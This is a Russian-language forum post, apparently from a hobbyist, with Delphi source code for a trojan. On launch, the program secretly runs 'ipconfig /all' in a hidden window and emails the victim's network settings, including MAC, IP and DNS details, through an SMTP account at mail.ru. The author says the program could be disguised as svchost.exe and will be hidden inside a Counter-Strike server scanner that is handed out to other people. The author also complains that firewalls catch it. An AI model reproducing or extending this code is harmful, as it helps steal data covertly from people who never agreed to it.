EvLМас получим, может быть твоей функцией, а если у меня привязка на маршрутизаторе мас+айпи , ещё бывает куча шлюзов на которые тоже привязываются разные узеры с разными айпи , масками подсетей , да даже днс серверы разные и привязка происходит у неготорых(самых умных) по всем сетевым настройкам!
Так что нужно полюбому узнавать все сетевые настройки и я думаю ничего это не сделает проще , как ipconfig ил большая куча процедур,функций для этого.... Да и Win у всех разная как с этим быть тоже без понятия... Сделал вот так с отправкой на почту, ну естественно , что форму можно скрыть вообще и называть его svchost.exe , но мне так не нужно мне не важен вес, я её буду вшивать в другую прогу, котоарая будет распростроняться с программой для сканирования Контер страйк серверов
Вот только фаер ловит её
unit Unit1;
interface
Uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress;
type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure RunDosInMemo(CmdLine: string; AMemo: TMemo);
const
ReadBuffer = 24000;
var
Security: TSecurityAttributes;
ReadPipe, WritePipe: THandle;
start: TStartUpInfo;
ProcessInfo: TProcessInformation;
Buffer: Pchar;
BytesRead: DWord;
Apprunning: DWord;
begin
Screen.Cursor := CrHourGlass;
with Security do
begin
nlength := SizeOf(TSecurityAttributes);
binherithandle := true;
lpsecuritydescriptor := nil;
end;
if Createpipe(ReadPipe, WritePipe,
@Security, 0) then
begin
Buffer := AllocMem(ReadBuffer + 1);
FillChar(Start, Sizeof(Start), #0);
start.cb := SizeOf(start);
start.hStdOutput := WritePipe;
start.hStdInput := ReadPipe;
start.dwFlags := STARTF_USESTDHANDLES +
STARTF_USESHOWWINDOW;
start.wShowWindow := SW_HIDE;
if CreateProcess(nil,
PChar(CmdLine),
@Security,
@Security,
true,
NORMAL_PRIORITY_CLASS,
nil,
nil,
start,
ProcessInfo) then
begin
repeat
Apprunning := WaitForSingleObject
(ProcessInfo.hProcess, 1000);
ReadFile(ReadPipe, Buffer[0],
ReadBuffer, BytesRead, nil);
Buffer[BytesRead] := #0;
OemToAnsi(Buffer, Buffer);
AMemo.Text := AMemo.text + string(Buffer);
Application.ProcessMessages;
until (Apprunning <> WAIT_TIMEOUT);
end;
FreeMem(Buffer);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ReadPipe);
CloseHandle(WritePipe);
end;
Screen.Cursor := CrDefault;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
M: TIdMessage;
begin
Memo1.Clear;
RunDosInMemo('ipconfig /all', Memo1);
M := TIdMessage.Create(Form1);
M.Body := Memo1.Lines;
M.From.Text := 'dart@en.dn.ua';
M.Recipients.Add;
M.Recipients.Items[0].Text := 'blabla@mail.ru';
M.Subject := 'Òåìà ïèñüìà';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := 'smtp.mail.ru ';
IdSMTP1.Username := '
blabla@mail.ru';
IdSMTP1.Password := ' pass';
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;
end;
end.